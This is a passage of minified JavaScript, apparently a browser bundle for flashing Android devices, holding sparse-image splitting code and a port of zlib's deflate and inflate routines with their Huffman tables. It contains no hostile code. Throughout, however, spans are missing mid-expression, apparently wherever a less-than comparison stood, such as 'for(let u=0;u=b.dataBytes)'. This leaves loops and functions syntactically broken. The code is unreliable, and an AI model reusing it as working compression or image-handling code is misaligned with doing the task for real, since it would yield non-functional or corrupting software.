Uint8Array(e);a.setUint32(0,$a,!0),a.setUint16(4,Ha,!0),a.setUint16(6,Pa,!0),a.setUint16(8,Mt,!0),a.setUint16(10,_t,!0),a.setUint32(12,n.blockSize,!0),a.setUint32(16,n.blocks,!0),a.setUint32(20,t.length,!0),a.setUint32(24,0,!0);let c=Mt;for(let u of t){a.setUint16(c,u.type,!0),a.setUint16(c+2,0,!0),a.setUint32(c+4,u.blocks,!0),a.setUint32(c+8,_t+u.data.byteLength,!0),c+=_t;let v=new Uint8Array(u.data);s.set(v,c),c+=u.data.byteLength}return e}function Cr(n){let t={blockSize:4096,blocks:n.byteLength/4096,chunks:1,crc32:0},e=[];for(;n.byteLength>0;){let a=Math.min(n.byteLength,Rr);e.push({type:Kt.Raw,blocks:a/t.blockSize,data:n.slice(0,a)}),n=n.slice(a)}return _i(t,e)}async function*Fr(n,t){if(Oe(`Splitting ${n.size}-byte sparse image into ${t}-byte chunks`),n.size<=t){Oe("Blob fits in 1 payload, not splitting"),yield{data:await Rt(n),bytes:n.size};return}let e=await Rt(n.slice(0,Mt)),a=qa(e);if(a===null)throw new Zt("Blob is not a sparse image");a.crc32=0,n=n.slice(Mt);let s=[],c=0;for(let u=0;u=b.dataBytes)Bt(" Space is available, adding chunk"),s.push(b),c+=b.blocks*a.blockSize;else{let E=Hi(s);s.push({type:Kt.Skip,blocks:a.blocks-E,data:new ArrayBuffer(0),dataBytes:0}),Bt(`Partition is ${a.blocks} blocks, used ${E}, padded with ${a.blocks-E}, finishing split with ${Hi(s)} blocks`);let D=_i(a,s);Oe(`Finished ${D.byteLength}-byte split with ${s.length} chunks`),yield{data:D,bytes:c},Bt(`Starting new split: skipping first ${E} blocks and adding chunk`),s=[{type:Kt.Skip,blocks:E,data:new ArrayBuffer(0),dataBytes:0},b],c=0}}if(s.length>0&&(s.length>1||s[0].type!==Kt.Skip)){let u=_i(a,s);Oe(`Finishing final ${u.byteLength}-byte split with ${s.length} chunks`),yield{data:u,bytes:c}}}var _n=15,pi=30,xi=19,Lr=29,Ln=256,Ui=Ln+1+Lr,Pi=2*Ui+1,rn=256,Br=7,qi=16,Vi=17,Wi=18,Xn=8*2,Bn=-1,Mr=1,gn=2,jr=0,Vt=0,Gi=1,Nr=3,Ge=4,lt=0,Wa=1,vn=2,ct=-2,$r=-3,Pt=-5;function Ga(n){return n.map(([t,e])=>new Array(t).fill(e,0,t)).flat()}var Zi=[0,1,2,3].concat(...Ga([[2,4],[2,5],[4,6],[4,7],[8,8],[8,9],[16,10],[16,11],[32,12],[32,13],[64,14],[64,15],[2,0],[1,16],[1,17],[2,18],[2,19],[4,20],[4,21],[8,22],[8,23],[16,24],[16,25],[32,26],[32,27],[64,28],[64,29]]));function Ce(){let n=this;function t(s){let c=n.dyn_tree,u=n.stat_desc.static_tree,v=n.stat_desc.extra_bits,b=n.stat_desc.extra_base,U=n.stat_desc.max_length,E,D,O,Y,ae,y,_=0;for(Y=0;Y<=_n;Y++)s.bl_count[Y]=0;for(c[s.heap[s.heap_max]*2+1]=0,E=s.heap_max+1;EU&&(Y=U,_++),c[D*2+1]=Y,!(D>n.max_code)&&(s.bl_count[Y]++,ae=0,D>=b&&(ae=v[D-b]),y=c[D*2],s.opt_len+=y*(Y+ae),u&&(s.static_len+=y*(u[D*2+1]+ae)));if(_!==0){do{for(Y=U-1;s.bl_count[Y]===0;)Y--;s.bl_count[Y]--,s.bl_count[Y+1]+=2,s.bl_count[U]--,_-=2}while(_>0);for(Y=U;Y!==0;Y--)for(D=s.bl_count[Y];D!==0;)O=s.heap[--E],!(O>n.max_code)&&(c[O*2+1]!=Y&&(s.opt_len+=(Y-c[O*2+1])*c[O*2],c[O*2+1]=Y),D--)}}function e(s,c){let u=0;do u|=s&1,s>>>=1,u<<=1;while(--c>0);return u>>>1}function a(s,c,u){let v=[],b=0,U,E,D;for(U=1;U<=_n;U++)v[U]=b=b+u[U-1]<<1;for(E=0;E<=c;E++)D=s[E*2+1],D!==0&&(s[E*2]=e(v[D]++,D))}n.build_tree=function(s){let c=n.dyn_tree,u=n.stat_desc.static_tree,v=n.stat_desc.elems,b,U,E=-1,D;for(s.heap_len=0,s.heap_max=Pi,b=0;b=1;b--)s.pqdownheap(c,b);D=v;do b=s.heap[1],s.heap[1]=s.heap[s.heap_len--],s.pqdownheap(c,1),U=s.heap[1],s.heap[--s.heap_max]=b,s.heap[--s.heap_max]=U,c[D*2]=c[b*2]+c[U*2],s.depth[D]=Math.max(s.depth[b],s.depth[U])+1,c[b*2+1]=c[U*2+1]=D,s.heap[1]=D++,s.pqdownheap(c,1);while(s.heap_len>=2);s.heap[--s.heap_max]=s.heap[1],t(s),a(c,n.max_code,s.bl_count)}}Ce._length_code=[0,1,2,3,4,5,6,7].concat(...Ga([[2,8],[2,9],[2,10],[2,11],[4,12],[4,13],[4,14],[4,15],[8,16],[8,17],[8,18],[8,19],[16,20],[16,21],[16,22],[16,23],[32,24],[32,25],[32,26],[31,27],[1,28]]));Ce.base_length=[0,1,2,3,4,5,6,7,8,10,12,14,16,20,24,28,32,40,48,56,64,80,96,112,128,160,192,224,0];Ce.base_dist=[0,1,2,3,4,6,8,12,16,24,32,48,64,96,128,192,256,384,512,768,1024,1536,2048,3072,4096,6144,8192,12288,16384,24576];Ce.d_code=function(n){return n<256?Zi[n]:Zi[256+(n>>>7)]};Ce.extra_lbits=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0];Ce.extra_dbits=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];Ce.extra_blbits=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7];Ce.bl_order=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];function Ne(n,t,e,a,s){let c=this;c.static_tree=n,c.extra_bits=t,c.extra_base=e,c.elems=a,c.max_length=s}Ne.static_ltree=[12,8,140,8,76,8,204,8,44,8,172,8,108,8,236,8,28,8,156,8,92,8,220,8,60,8,188,8,124,8,252,8,2,8,130,8,66,8,194,8,34,8,162,8,98,8,226,8,18,8,146,8,82,8,210,8,50,8,178,8,114,8,242,8,10,8,138,8,74,8,202,8,42,8,170,8,106,8,234,8,26,8,154,8,90,8,218,8,58,8,186,8,122,8,250,8,6,8,134,8,70,8,198,8,38,8,166,8,102,8,230,8,22,8,150,8,86,8,214,8,54,8,182,8,118,8,246,8,14,8,142,8,78,8,206,8,46,8,174,8,110,8,238,8,30,8,158,8,94,8,222,8,62,8,190,8,126,8,254,8,1,8,129,8,65,8,193,8,33,8,161,8,97,8,225,8,17,8,145,8,81,8,209,8,49,8,177,8,113,8,241,8,9,8,137,8,73,8,201,8,41,8,169,8,105,8,233,8,25,8,153,8,89,8,217,8,57,8,185,8,121,8,249,8,5,8,133,8,69,8,197,8,37,8,165,8,101,8,229,8,21,8,149,8,85,8,213,8,53,8,181,8,117,8,245,8,13,8,141,8,77,8,205,8,45,8,173,8,109,8,237,8,29,8,157,8,93,8,221,8,61,8,189,8,125,8,253,8,19,9,275,9,147,9,403,9,83,9,339,9,211,9,467,9,51,9,307,9,179,9,435,9,115,9,371,9,243,9,499,9,11,9,267,9,139,9,395,9,75,9,331,9,203,9,459,9,43,9,299,9,171,9,427,9,107,9,363,9,235,9,491,9,27,9,283,9,155,9,411,9,91,9,347,9,219,9,475,9,59,9,315,9,187,9,443,9,123,9,379,9,251,9,507,9,7,9,263,9,135,9,391,9,71,9,327,9,199,9,455,9,39,9,295,9,167,9,423,9,103,9,359,9,231,9,487,9,23,9,279,9,151,9,407,9,87,9,343,9,215,9,471,9,55,9,311,9,183,9,439,9,119,9,375,9,247,9,503,9,15,9,271,9,143,9,399,9,79,9,335,9,207,9,463,9,47,9,303,9,175,9,431,9,111,9,367,9,239,9,495,9,31,9,287,9,159,9,415,9,95,9,351,9,223,9,479,9,63,9,319,9,191,9,447,9,127,9,383,9,255,9,511,9,0,7,64,7,32,7,96,7,16,7,80,7,48,7,112,7,8,7,72,7,40,7,104,7,24,7,88,7,56,7,120,7,4,7,68,7,36,7,100,7,20,7,84,7,52,7,116,7,3,8,131,8,67,8,195,8,35,8,163,8,99,8,227,8];Ne.static_dtree=[0,5,16,5,8,5,24,5,4,5,20,5,12,5,28,5,2,5,18,5,10,5,26,5,6,5,22,5,14,5,30,5,1,5,17,5,9,5,25,5,5,5,21,5,13,5,29,5,3,5,19,5,11,5,27,5,7,5,23,5];Ne.static_l_desc=new Ne(Ne.static_ltree,Ce.extra_lbits,Ln+1,Ui,_n);Ne.static_d_desc=new Ne(Ne.static_dtree,Ce.extra_dbits,0,pi,_n);Ne.static_bl_desc=new Ne(null,Ce.extra_blbits,0,xi,Br);var Hr=9,Pr=8;function ft(n,t,e,a,s){let c=this;c.good_length=n,c.max_lazy=t,c.nice_length=e,c.max_chain=a,c.func=s}var Za=0,Dn=1,Ct=2,ot=[new ft(0,0,0,0,Za),new ft(4,4,8,4,Dn),new ft(4,5,16,8,Dn),new ft(4,6,32,32,Dn),new ft(4,4,16,16,Ct),new ft(8,16,32,32,Ct),new ft(8,16,128,128,Ct),new ft(8,32,128,256,Ct),new ft(32,128,258,1024,Ct),new ft(32,258,258,4096,Ct)],yn=["need dictionary","stream end","","","stream error","data error","","buffer error","",""],nt=0,kn=1,sn=2,En=3,qr=32,Jn=42,An=113,on=666,Qn=8,Vr=0,zn=1,Wr=2,Le=3,On=258,Xe=On+Le+1;function Ki(n,t,e,a){let s=n[t*2],c=n[e*2];return s=3&&ve[Ce.bl_order[l]*2+1]===0;l--);return n.opt_len+=3*(l+1)+5+5+4,l}function mt(l){n.pending_buf[n.pending++]=l}function Dt(l){mt(l&255),mt(l>>>8&255)}function He(l){mt(l>>8&255),mt(l&255&255)}function je(l,f){let m,x=f;Te>Xn-x?(m=l,we|=m<>>Xn-Te,Te+=x-Xn):(we|=l<=8&&(mt(we&255),we>>>=8,Te-=8)}function Vn(){je(zn<<1,3),Ye(rn,Ne.static_ltree),mn(),1+vt+10-Te<9&&(je(zn<<1,3),Ye(rn,Ne.static_ltree),mn()),vt=7}function bt(l,f){let m,x,A;if(n.pending_buf[ht+ke*2]=l>>>8&255,n.pending_buf[ht+ke*2+1]=l&255,n.pending_buf[dt+ke]=f&255,ke++,l===0?de[f*2]++:(Nt++,l--,de[(Ce._length_code[f]+Ln+1)*2]++,le[Ce.d_code(l)*2]++),!(ke&8191)&&H>2){for(m=ke*8,x=L-w,A=0;A>>=3,Nt8?Dt(we):Te>0&&mt(we&255),we=0,Te=0}function Wn(l,f,m){Jt(),vt=8,m&&(Dt(f),Dt(~f)),n.pending_buf.set(b.subarray(l,l+f),n.pending),n.pending+=f}function wn(l,f,m){je((Vr<<1)+(m?1:0),3),Wn(l,f,!0)}function Gn(l,f,m){let x,A,T=0;H>0?(Ae.build_tree(n),at.build_tree(n),T=Pn(),x=n.opt_len+3+7>>>3,A=n.static_len+3+7>>>3,A<=x&&(x=A)):x=A=f+5,f+4<=x&&l!=-1?wn(l,f,m):A==x?(je((zn<<1)+(m?1:0),3),bn(Ne.static_ltree,Ne.static_dtree)):(je((Wr<<1)+(m?1:0),3),qn(Ae.max_code+1,at.max_code+1,T+1),bn(de,le)),We(),m&&Jt()}function rt(l){Gn(w>=0?w:-1,L-w,l),w=L,t.flush_pending()}function Qt(){let l,f,m,x;do{if(x=U-B-L,x===0&&L===0&&B===0)x=c;else if(x==-1)x--;else if(L>=c+c-Xe){b.set(b.subarray(c,c+c),0),C-=c,L-=c,w-=c,l=Y,m=l;do f=D[--m]&65535,D[m]=f>=c?f-c:0;while(--l!==0);l=c,m=l;do f=E[--m]&65535,E[m]=f>=c?f-c:0;while(--l!==0);x+=c}if(t.avail_in===0)return;l=t.read_buf(b,L+B,x),B+=l,B>=Le&&(O=b[L]&255,O=(O<<_^b[L+1]&255)&y)}while(Ba-5&&(f=a-5);;){if(B<=1){if(Qt(),B===0&&l==Vt)return nt;if(B===0)break}if(L+=B,B=0,m=w+f,(L===0||L>=m)&&(B=L-m,L=m,rt(!1),t.avail_out===0)||L-w>=c-Xe&&(rt(!1),t.avail_out===0))return nt}return rt(l==Ge),t.avail_out===0?l==Ge?sn:nt:l==Ge?En:kn}function r(l){let f=G,m=L,x,A,T=$,N=L>c-Xe?L-(c-Xe):0,W=Ee,oe=v,k=L+On,P=b[m+T-1],p=b[m+T];$>=re&&(f>>=2),W>B&&(W=B);do if(x=l,!(b[x+T]!=p||b[x+T-1]!=P||b[x]!=b[m]||b[++x]!=b[m+1])){m+=2,x++;do;while(b[++m]==b[++x]&&b[++m]==b[++x]&&b[++m]==b[++x]&&b[++m]==b[++x]&&b[++m]==b[++x]&&b[++m]==b[++x]&&b[++m]==b[++x]&&b[++m]==b[++x]&&mT){if(C=l,T=A,A>=W)break;P=b[m+T-1],p=b[m+T]}}while((l=E[l&oe]&65535)>N&&--f!==0);return T<=B?T:B}function i(l){let f=0,m;for(;;){if(B=Le&&(O=(O<<_^b[L+(Le-1)]&255)&y,f=D[O]&65535,E[L&v]=D[O],D[O]=L),f!==0&&(L-f&65535)<=c-Xe&&me!=gn&&(I=r(f)),I>=Le)if(m=bt(L-C,I-Le),B-=I,I<=Z&&B>=Le){I--;do L++,O=(O<<_^b[L+(Le-1)]&255)&y,f=D[O]&65535,E[L&v]=D[O],D[O]=L;while(--I!==0);L++}else L+=I,I=0,O=b[L]&255,O=(O<<_^b[L+1]&255)&y;else m=bt(0,b[L]&255),B--,L++;if(m&&(rt(!1),t.avail_out===0))return nt}return rt(l==Ge),t.avail_out===0?l==Ge?sn:nt:l==Ge?En:kn}function d(l){let f=0,m,x;for(;;){if(B=Le&&(O=(O<<_^b[L+(Le-1)]&255)&y,f=D[O]&65535,E[L&v]=D[O],D[O]=L),$=I,M=C,I=Le-1,f!==0&&$4096)&&(I=Le-1)),$>=Le&&I<=$){x=L+B-Le,m=bt(L-1-M,$-Le),B-=$-1,$-=2;do++L<=x&&(O=(O<<_^b[L+(Le-1)]&255)&y,f=D[O]&65535,E[L&v]=D[O],D[O]=L);while(--$!==0);if(V=0,I=Le-1,L++,m&&(rt(!1),t.avail_out===0))return nt}else if(V!==0){if(m=bt(0,b[L-1]&255),m&&rt(!1),L++,B--,t.avail_out===0)return nt}else V=1,L++,B--}return V!==0&&(m=bt(0,b[L-1]&255),V=0),rt(l==Ge),t.avail_out===0?l==Ge?sn:nt:l==Ge?En:kn}function h(l){return l.total_in=l.total_out=0,l.msg=null,n.pending=0,n.pending_out=0,e=An,s=Vt,$t(),et(),lt}n.deflateInit=function(l,f,m,x,A,T){return x||(x=Qn),A||(A=Pr),T||(T=jr),l.msg=null,f==Bn&&(f=6),A<1||A>Hr||x!=Qn||m<9||m>15||f<0||f>9||T<0||T>gn?ct:(l.dstate=n,u=m,c=1<9||m<0||m>gn?ct:(ot[H].func!=ot[f].func&&l.total_in!==0&&(x=l.deflate(Gi)),H!=f&&(H=f,Z=ot[H].max_lazy,re=ot[H].good_length,Ee=ot[H].nice_length,G=ot[H].max_chain),me=m,x)},n.deflateSetDictionary=function(l,f,m){let x=m,A,T=0;if(!f||e!=Jn)return ct;if(xc-Xe&&(x=c-Xe,T=m-x),b.set(f.subarray(T,T+x),0),L=x,w=x,O=b[0]&255,O=(O<<_^b[1]&255)&y,A=0;A<=x-Le;A++)O=(O<<_^b[A+(Le-1)]&255)&y,E[A&v]=D[O],D[O]=A;return lt},n.deflate=function(l,f){let m,x,A,T,N;if(f>Ge||f<0)return ct;if(!l.next_out||!l.next_in&&l.avail_in!==0||e==on&&f!=Ge)return l.msg=yn[vn-ct],ct;if(l.avail_out===0)return l.msg=yn[vn-Pt],Pt;if(t=l,T=s,s=f,e==Jn&&(x=Qn+(u-8<<4)<<8,A=(H-1&255)>>1,A>3&&(A=3),x|=A<<6,L!==0&&(x|=qr),x+=31-x%31,e=An,He(x)),n.pending!==0){if(t.flush_pending(),t.avail_out===0)return s=-1,lt}else if(t.avail_in===0&&f<=T&&f!=Ge)return t.msg=yn[vn-Pt],Pt;if(e==on&&t.avail_in!==0)return l.msg=yn[vn-Pt],Pt;if(t.avail_in!==0||B!==0||f!=Vt&&e!=on){switch(N=-1,ot[H].func){case Za:N=o(f);break;case Dn:N=i(f);break;case Ct:N=d(f);break}if((N==sn||N==En)&&(e=on),N==nt||N==sn)return t.avail_out===0&&(s=-1),lt;if(N==kn){if(f==Gi)Vn();else if(wn(0,0,!1),f==Nr)for(m=0;me&&(s=e),s===0?0:(a.avail_in-=s,n.set(a.next_in.subarray(a.next_in_index,a.next_in_index+s),t),a.next_in_index+=s,a.total_in+=s,s)},flush_pending:function(){let n=this,t=n.dstate.pending;t>n.avail_out&&(t=n.avail_out),t!==0&&(n.next_out.set(n.dstate.pending_buf.subarray(n.dstate.pending_out,n.dstate.pending_out+t),n.next_out_index),n.next_out_index+=t,n.dstate.pending_out+=t,n.total_out+=t,n.avail_out-=t,n.dstate.pending-=t,n.dstate.pending===0&&(n.dstate.pending_out=0))}};function Zr(n){let t=this,e=new Ka,a=n&&n.chunkSize?Math.floor(n.chunkSize*1.05):64*1024,s=Vt,c=new Uint8Array(a),u=n?n.level:Bn;typeof u>"u"&&(u=Bn),e.deflateInit(u),e.next_out=c,t.append=function(v,b){let U,E,D=0,O=0,Y=0,ae=[];if(v.length){e.next_in_index=0,e.next_in=v,e.avail_in=v.length;do{if(e.next_out_index=0,e.avail_out=a,U=e.deflate(s),U!=lt)throw new Error("deflating: "+e.msg);e.next_out_index&&(e.next_out_index==a?ae.push(new Uint8Array(c)):ae.push(c.slice(0,e.next_out_index))),Y+=e.next_out_index,b&&e.next_in_index>0&&e.next_in_index!=D&&(b(e.next_in_index),D=e.next_in_index)}while(e.avail_in>0||e.avail_out===0);return ae.length>1?(E=new Uint8Array(Y),ae.forEach(function(y){E.set(y,O),O+=y.length})):E=ae[0]||new Uint8Array(0),E}},t.flush=function(){let v,b,U=0,E=0,D=[];do{if(e.next_out_index=0,e.avail_out=a,v=e.deflate(Ge),v!=Wa&&v!=lt)throw new Error("deflating: "+e.msg);a-e.avail_out>0&&D.push(c.slice(0,e.next_out_index)),E+=e.next_out_index}while(e.avail_in>0||e.avail_out===0);return e.deflateEnd(),b=new Uint8Array(E),D.forEach(function(O){b.set(O,U),U+=O.length}),b}}var Kr=15,Ue=0,wt=1,Yr=2,Ze=-2,Fe=-3,Yi=-4,gt=-5,Je=[0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535],Ya=1440,Xr=0,Jr=4,Qr=9,zr=5,es=[96,7,256,0,8,80,0,8,16,84,8,115,82,7,31,0,8,112,0,8,48,0,9,192,80,7,10,0,8,96,0,8,32,0,9,160,0,8,0,0,8,128,0,8,64,0,9,224,80,7,6,0,8,88,0,8,24,0,9,144,83,7,59,0,8,120,0,8,56,0,9,208,81,7,17,0,8,104,0,8,40,0,9,176,0,8,8,0,8,136,0,8,72,0,9,240,80,7,4,0,8,84,0,8,20,85,8,227,83,7,43,0,8,116,0,8,52,0,9,200,81,7,13,0,8,100,0,8,36,0,9,168,0,8,4,0,8,132,0,8,68,0,9,232,80,7,8,0,8,92,0,8,28,0,9,152,84,7,83,0,8,124,0,8,60,0,9,216,82,7,23,0,8,108,0,8,44,0,9,184,0,8,12,0,8,140,0,8,76,0,9,248,80,7,3,0,8,82,0,8,18,85,8,163,83,7,35,0,8,114,0,8,50,0,9,196,81,7,11,0,8,98,0,8,34,0,9,164,0,8,2,0,8,130,0,8,66,0,9,228,80,7,7,0,8,90,0,8,26,0,9,148,84,7,67,0,8,122,0,8,58,0,9,212,82,7,19,0,8,106,0,8,42,0,9,180,0,8,10,0,8,138,0,8,74,0,9,244,80,7,5,0,8,86,0,8,22,192,8,0,83,7,51,0,8,118,0,8,54,0,9,204,81,7,15,0,8,102,0,8,38,0,9,172,0,8,6,0,8,134,0,8,70,0,9,236,80,7,9,0,8,94,0,8,30,0,9,156,84,7,99,0,8,126,0,8,62,0,9,220,82,7,27,0,8,110,0,8,46,0,9,188,0,8,14,0,8,142,0,8,78,0,9,252,96,7,256,0,8,81,0,8,17,85,8,131,82,7,31,0,8,113,0,8,49,0,9,194,80,7,10,0,8,97,0,8,33,0,9,162,0,8,1,0,8,129,0,8,65,0,9,226,80,7,6,0,8,89,0,8,25,0,9,146,83,7,59,0,8,121,0,8,57,0,9,210,81,7,17,0,8,105,0,8,41,0,9,178,0,8,9,0,8,137,0,8,73,0,9,242,80,7,4,0,8,85,0,8,21,80,8,258,83,7,43,0,8,117,0,8,53,0,9,202,81,7,13,0,8,101,0,8,37,0,9,170,0,8,5,0,8,133,0,8,69,0,9,234,80,7,8,0,8,93,0,8,29,0,9,154,84,7,83,0,8,125,0,8,61,0,9,218,82,7,23,0,8,109,0,8,45,0,9,186,0,8,13,0,8,141,0,8,77,0,9,250,80,7,3,0,8,83,0,8,19,85,8,195,83,7,35,0,8,115,0,8,51,0,9,198,81,7,11,0,8,99,0,8,35,0,9,166,0,8,3,0,8,131,0,8,67,0,9,230,80,7,7,0,8,91,0,8,27,0,9,150,84,7,67,0,8,123,0,8,59,0,9,214,82,7,19,0,8,107,0,8,43,0,9,182,0,8,11,0,8,139,0,8,75,0,9,246,80,7,5,0,8,87,0,8,23,192,8,0,83,7,51,0,8,119,0,8,55,0,9,206,81,7,15,0,8,103,0,8,39,0,9,174,0,8,7,0,8,135,0,8,71,0,9,238,80,7,9,0,8,95,0,8,31,0,9,158,84,7,99,0,8,127,0,8,63,0,9,222,82,7,27,0,8,111,0,8,47,0,9,190,0,8,15,0,8,143,0,8,79,0,9,254,96,7,256,0,8,80,0,8,16,84,8,115,82,7,31,0,8,112,0,8,48,0,9,193,80,7,10,0,8,96,0,8,32,0,9,161,0,8,0,0,8,128,0,8,64,0,9,225,80,7,6,0,8,88,0,8,24,0,9,145,83,7,59,0,8,120,0,8,56,0,9,209,81,7,17,0,8,104,0,8,40,0,9,177,0,8,8,0,8,136,0,8,72,0,9,241,80,7,4,0,8,84,0,8,20,85,8,227,83,7,43,0,8,116,0,8,52,0,9,201,81,7,13,0,8,100,0,8,36,0,9,169,0,8,4,0,8,132,0,8,68,0,9,233,80,7,8,0,8,92,0,8,28,0,9,153,84,7,83,0,8,124,0,8,60,0,9,217,82,7,23,0,8,108,0,8,44,0,9,185,0,8,12,0,8,140,0,8,76,0,9,249,80,7,3,0,8,82,0,8,18,85,8,163,83,7,35,0,8,114,0,8,50,0,9,197,81,7,11,0,8,98,0,8,34,0,9,165,0,8,2,0,8,130,0,8,66,0,9,229,80,7,7,0,8,90,0,8,26,0,9,149,84,7,67,0,8,122,0,8,58,0,9,213,82,7,19,0,8,106,0,8,42,0,9,181,0,8,10,0,8,138,0,8,74,0,9,245,80,7,5,0,8,86,0,8,22,192,8,0,83,7,51,0,8,118,0,8,54,0,9,205,81,7,15,0,8,102,0,8,38,0,9,173,0,8,6,0,8,134,0,8,70,0,9,237,80,7,9,0,8,94,0,8,30,0,9,157,84,7,99,0,8,126,0,8,62,0,9,221,82,7,27,0,8,110,0,8,46,0,9,189,0,8,14,0,8,142,0,8,78,0,9,253,96,7,256,0,8,81,0,8,17,85,8,131,82,7,31,0,8,113,0,8,49,0,9,195,80,7,10,0,8,97,0,8,33,0,9,163,0,8,1,0,8,129,0,8,65,0,9,227,80,7,6,0,8,89,0,8,25,0,9,147,83,7,59,0,8,121,0,8,57,0,9,211,81,7,17,0,8,105,0,8,41,0,9,179,0,8,9,0,8,137,0,8,73,0,9,243,80,7,4,0,8,85,0,8,21,80,8,258,83,7,43,0,8,117,0,8,53,0,9,203,81,7,13,0,8,101,0,8,37,0,9,171,0,8,5,0,8,133,0,8,69,0,9,235,80,7,8,0,8,93,0,8,29,0,9,155,84,7,83,0,8,125,0,8,61,0,9,219,82,7,23,0,8,109,0,8,45,0,9,187,0,8,13,0,8,141,0,8,77,0,9,251,80,7,3,0,8,83,0,8,19,85,8,195,83,7,35,0,8,115,0,8,51,0,9,199,81,7,11,0,8,99,0,8,35,0,9,167,0,8,3,0,8,131,0,8,67,0,9,231,80,7,7,0,8,91,0,8,27,0,9,151,84,7,67,0,8,123,0,8,59,0,9,215,82,7,19,0,8,107,0,8,43,0,9,183,0,8,11,0,8,139,0,8,75,0,9,247,80,7,5,0,8,87,0,8,23,192,8,0,83,7,51,0,8,119,0,8,55,0,9,207,81,7,15,0,8,103,0,8,39,0,9,175,0,8,7,0,8,135,0,8,71,0,9,239,80,7,9,0,8,95,0,8,31,0,9,159,84,7,99,0,8,127,0,8,63,0,9,223,82,7,27,0,8,111,0,8,47,0,9,191,0,8,15,0,8,143,0,8,79,0,9,255],ts=[80,5,1,87,5,257,83,5,17,91,5,4097,81,5,5,89,5,1025,85,5,65,93,5,16385,80,5,3,88,5,513,84,5,33,92,5,8193,82,5,9,90,5,2049,86,5,129,192,5,24577,80,5,2,87,5,385,83,5,25,91,5,6145,81,5,7,89,5,1537,85,5,97,93,5,24577,80,5,4,88,5,769,84,5,49,92,5,12289,82,5,13,90,5,3073,86,5,193,192,5,24577],ns=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,0,0],is=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,112,112],as=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577],rs=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13],It=15;function hi(){let n=this,t,e,a,s,c,u;function v(U,E,D,O,Y,ae,y,_,w,I,M){let V,L,C,B,$,G,Z,H,me,re,Ee,de,le,ve,Ae;re=0,$=D;do a[U[E+re]]++,re++,$--;while($!==0);if(a[0]==D)return y[0]=-1,_[0]=0,Ue;for(H=_[0],G=1;G<=It&&a[G]===0;G++);for(Z=G,H$&&(H=$),_[0]=H,ve=1<de+H;){if(B++,de+=H,Ae=C-de,Ae=Ae>H?H:Ae,(L=1<<(G=Z-de))>V+1&&(L-=V+1,le=Z,GYa)return Fe;c[B]=Ee=I[0],I[0]+=Ae,B!==0?(u[B]=$,s[0]=G,s[1]=H,G=$>>>de-H,s[2]=Ee-c[B-1]-G,w.set(s,(c[B-1]+G)*3)):y[0]=Ee}for(s[1]=Z-de,re>=D?s[0]=192:M[re]>>de;G>>=1)$^=G;for($^=G,me=(1<257?(I==Fe?w.msg="oversubscribed distance tree":I==gt?(w.msg="incomplete distance tree",I=Fe):I!=Yi&&(w.msg="empty distance tree with lengths",I=Fe),I):Ue)}}hi.inflate_trees_fixed=function(n,t,e,a){return n[0]=Qr,t[0]=zr,e[0]=es,a[0]=ts,Ue};var Sn=0,Xi=1,Ji=2,Qi=3,zi=4,ea=5,ta=6,ei=7,na=8,In=9;function ss(){let n=this,t,e=0,a,s=0,c=0,u=0,v=0,b=0,U=0,E=0,D,O=0,Y,ae=0;function y(_,w,I,M,V,L,C,B){let $,G,Z,H,me,re,Ee,de,le,ve,Ae,at,fe,dt,Se,ke;Ee=B.next_in_index,de=B.avail_in,me=C.bitb,re=C.bitk,le=C.write,ve=le>=G[ke+1],re-=G[ke+1],C.window[le++]=G[ke+2],ve--;continue}do{if(me>>=G[ke+1],re-=G[ke+1],H&16){for(H&=15,fe=G[ke+2]+(me&Je[H]),me>>=H,re-=H;re<15;)de--,me|=(B.read_byte(Ee++)&255)<>=G[ke+1],re-=G[ke+1],H&16){for(H&=15;re>=H,re-=H,ve-=fe,le>=dt)Se=le-dt,le-Se>0&&2>le-Se?(C.window[le++]=C.window[Se++],C.window[le++]=C.window[Se++],fe-=2):(C.window.set(C.window.subarray(Se,Se+2),le),le+=2,Se+=2,fe-=2);else{Se=le-dt;do Se+=C.end;while(Se<0);if(H=C.end-Se,fe>H){if(fe-=H,le-Se>0&&H>le-Se)do C.window[le++]=C.window[Se++];while(--H!==0);else C.window.set(C.window.subarray(Se,Se+H),le),le+=H,Se+=H,H=0;Se=0}}if(le-Se>0&&fe>le-Se)do C.window[le++]=C.window[Se++];while(--fe!==0);else C.window.set(C.window.subarray(Se,Se+fe),le),le+=fe,Se+=fe,fe=0;break}else if(!(H&64))$+=G[ke+2],$+=me&Je[H],ke=(Z+$)*3,H=G[ke];else return B.msg="invalid distance code",fe=B.avail_in-de,fe=re>>3>3:fe,de+=fe,Ee-=fe,re-=fe<<3,C.bitb=me,C.bitk=re,B.avail_in=de,B.total_in+=Ee-B.next_in_index,B.next_in_index=Ee,C.write=le,Fe;while(!0);break}if(H&64)return H&32?(fe=B.avail_in-de,fe=re>>3>3:fe,de+=fe,Ee-=fe,re-=fe<<3,C.bitb=me,C.bitk=re,B.avail_in=de,B.total_in+=Ee-B.next_in_index,B.next_in_index=Ee,C.write=le,wt):(B.msg="invalid literal/length code",fe=B.avail_in-de,fe=re>>3>3:fe,de+=fe,Ee-=fe,re-=fe<<3,C.bitb=me,C.bitk=re,B.avail_in=de,B.total_in+=Ee-B.next_in_index,B.next_in_index=Ee,C.write=le,Fe);if($+=G[ke+2],$+=me&Je[H],ke=(Z+$)*3,(H=G[ke])===0){me>>=G[ke+1],re-=G[ke+1],C.window[le++]=G[ke+2],ve--;break}}while(!0)}while(ve>=258&&de>=10);return 